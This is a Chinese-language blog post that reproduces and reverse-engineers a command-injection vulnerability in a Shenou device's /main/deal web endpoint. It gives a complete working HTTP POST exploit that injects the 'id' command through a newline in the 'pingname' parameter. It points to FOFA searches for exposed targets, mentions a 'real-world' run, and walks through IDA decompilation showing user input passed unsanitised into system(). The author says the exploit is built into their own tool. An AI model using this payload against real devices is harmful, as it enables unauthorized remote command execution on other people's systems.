申瓯任意文件下载命令执行复盘审计


前言

在看公众号这篇
https://mp.weixin.qq.com/s/9w2OgEZCSteyFyfeHx1eEA
文章后,我尝试使用自己的方式对这个漏洞进行复盘。因为二进制漏洞审计这玩意我也没有搞过所以正好看看。由于我是第一次搞这个文章有写的不是很明了的。请多多包涵。接下来言归正传开始分析。

漏洞复现

我们顺着他说的去吐司论坛去寻找关键字。找到这个。接下来我们
找文章
我们在fofa上面搜索相关资产看看
fofa资产
exp 如下:

POST /main/deal HTTP/1.1
Host: xxxxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "1363177655"
If-Modified-Since: Sat, 20 Apr 2024 12:24:18 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

addr_value=219&pingname=127.0.0.1+-c+1+%0aid%0a&pingtime=2&packetsize=4

实战效果如下图:
实战效果

漏洞分析

我们下载下这个文件
下载
我们使用ida打开进行分析。一般C 或者C++写都是main函数开头的所以我们直接搜索一下main
mian函数
我们看到有一个请求方式的函数
请求方法
判断请求方式是get还是post
判断请求方式

判断请求
另外这里也可以证明post请求是去LABEL_32

在C++和C中1代表true
如果是post请求使用并且content-length大小不是0 也就是有请求数据那么到

LABEL_32:
    v8 = sub_11B80();
    sub_25B2C();
    return v8;
  }
  if ( !sub_243D4() )
    goto LABEL_32;

判断
我们看sub_11B80函数
我们看这里 应该是初始化参数

sub_26274("addr_value", &v5, 0);
  sub_26274("checksend", &v4, 0);
  sub_26274("language", &dword_41848, 0);
  sub_25CFC("username", &dword_41E64, 32);
  sub_25CFC("inputCode", v3, 8); 
 

确实很像
我们看到exp里面有这个addr_value 我看追踪看看
我们看到知道v5是219的时候我们根据以下
跟进exp
我们看到下图

int sub_171CE()
{
  int v1; // [sp+8h] [bp+8h] BYREF
  int v2; // [sp+Ch] [bp+Ch] BYREF
  _BYTE v3[40]; // [sp+10h] [bp+10h] BYREF

  memset(v3, 0, sizeof(v3));
  sub_25CFC((int)"pingname", v3, 40);
  sub_26274("pingtime", &v2, 5);
  sub_26274("packetsize", &v1, 56);
  sub_1DBD2(v3, v2, v1);
  printf("<script language=javascript>window.location.href='webmain?headlist=%d&list=%d'</script>", 3, 4);
  return 0;
}

我们看到v3 v2 v1都被赋予大小 其中V3 长度是40 传入sub_1DBD2
追踪代码
我们继续看sub_1DBD2 我们看到

int __fastcall sub_1DBD2(const char *a1, int a2, int a3)
{
  char v7[128]; // [sp+18h] [bp+10h] BYREF

  system("rm -rf ../www/pingresult.txt");
  sprintf(v7, "ping %s -c %d -s %d >> ../www/pingresult.txt", a1, a2, a3);
  system(v7);
  return 0;
}

上述代码理解为

char v7[10]; // 假设v7的容量为10
sprintf(v7, "%d", 2);  V7 被赋值为2 也就是V7=2 等于数字二

所以由上述可以知道 a1 a2 a3 这三个参数都可以可以控制的并且传入system执行造成命令执行我们演示一下

POST /main/deal HTTP/1.1
Host: xxxxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "1363177655"
If-Modified-Since: Sat, 20 Apr 2024 12:24:18 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

addr_value=219&pingname=127.0.0.1&pingtime=1&packetsize=1

执行命令成功。我们在原有exp基础上加入进去一点东西
执行成功

自动化

此漏洞已经集成到我们的工具里面
自动化


文章作者: peiqiF4ck
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 peiqiF4ck !
  目录